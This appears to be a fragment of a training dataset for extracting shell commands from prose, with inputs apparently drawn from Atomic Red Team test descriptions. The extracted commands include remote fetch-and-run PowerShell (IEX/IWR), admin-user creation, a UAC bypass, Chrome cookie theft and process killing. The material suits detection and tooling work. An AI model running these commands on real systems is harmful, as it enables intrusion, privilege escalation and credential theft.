\\SystemCertificates\\Root\\Certificates, which can be initiated with this PowerShell command: IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \n", "output": "{\"command_list\": [\"certutil -addstore my #{pfx_path}\\n\", \"IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To stop a specific service, you can use the following command: net.exe stop #{service_name}. This will display a message indicating whether the service was successfully stopped or if it wasn't running.; This technique, famously employed by WannaCry, kills a service's process via the command: taskkill.exe /f /im #{process_name}", "output": "{\"command_list\": [\"net.exe stop #{service_name}\\n\", \"taskkill.exe /f /im #{process_name}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary could leverage WMI to enumerate running processes on the compromised host, which can be achieved by executing the following command: wmic process get caption,executablepath,commandline /format:csv; When investigating system updates, one might use WMI to retrieve patch information via this command: wmic qfe get description,installedOn /format:csv", "output": "{\"command_list\": [\"wmic process get caption,executablepath,commandline /format:csv\\n\", \"wmic qfe get description,installedOn /format:csv\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To search through bash history for specific commands, use the following command: cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\n; You can capture specific commands from shell history by executing this command: cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}\n", "output": "{\"command_list\": [\"cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\\n\", \"cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This method creates a privileged user in FreeBSD, as seen in the Butter campaign, with the command:\npw useradd #{username} -g 0 -d /root -s /bin/sh\necho \"#{password}\" | pw usermod #{username} -h 0; To create a new admin user in the command prompt, use the following commands:\nnet user /add \"#{username}\" \"#{password}\"\nnet localgroup administrators \"#{username}\" /add\n", "output": "{\"command_list\": [\"pw useradd #{username} -g 0 -d /root -s /bin/sh\\necho \\\"#{password}\\\" | pw usermod #{username} -h 0\\n\", \"net user /add \\\"#{username}\\\" \\\"#{password}\\\"\\nnet localgroup administrators \\\"#{username}\\\" /add\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This operation mimics Zloader/Zbot's cookie theft by querying Chrome's database with the command: \nstop-process -name \"chrome\" -force -erroraction silentlycontinue\n\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\" | cmd /c #{sqlite3_path} \"#{cookie_db}\" | out-file -filepath \"#{output_file}\"\nThe process ensures Chrome isn't running to access the locked database file.; Malware can exploit Chrome's remote debugging feature for post-exploitation by using the following command to bypass encryption and access cookies: killall 'Google Chrome'\nsleep 1\nopen -a \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\nsleep 1\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337", "output": "{\"command_list\": [\"stop-process -name \\\"chrome\\\" -force -erroraction silentlycontinue\\n\\\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\\\" | cmd /c #{sqlite3_path} \\\"#{cookie_db}\\\" | out-file -filepath \\\"#{output_file}\\\"\\n\", \"killall 'Google Chrome'\\nsleep 1\\nopen -a \\\"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\\\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\\nsleep 1\\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To enumerate started system services and save the results to a file, use the following command: net.exe start >> #{output_file}; To enumerate system services, run the following command, which checks the operating system and uses the appropriate tool: if [ \"$(uname)\" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;", "output": "{\"command_list\": [\"net.exe start >> #{output_file}\\n\", \"if [ \\\"$(uname)\\\" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique bypasses UAC through registry hijacking and Event Viewer, which can be executed with the command: reg.exe add hkcu\\software\\classes\\mscfile\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\ncmd.exe /c eventvwr.msc; To bypass User Account Control via Event Viewer and a Windows Registry modification, use the following PowerShell commands: New-Item \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\eventvwr.msc\"", "output": "{\"command_list\": [\"reg.exe add hkcu\\\\software\\\\classes\\\\mscfile\\\\shell\\\\open\\\\command /ve /d \\\"#{executable_binary}\\\" /f\\ncmd.exe /c eventvwr.msc\\n\", \"New-Item \\\"HKCU:\\\\software\\\\classes\\\\mscfile\\\\shell\\\\open\\\\command\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\mscfile\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\eventvwr.msc\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution 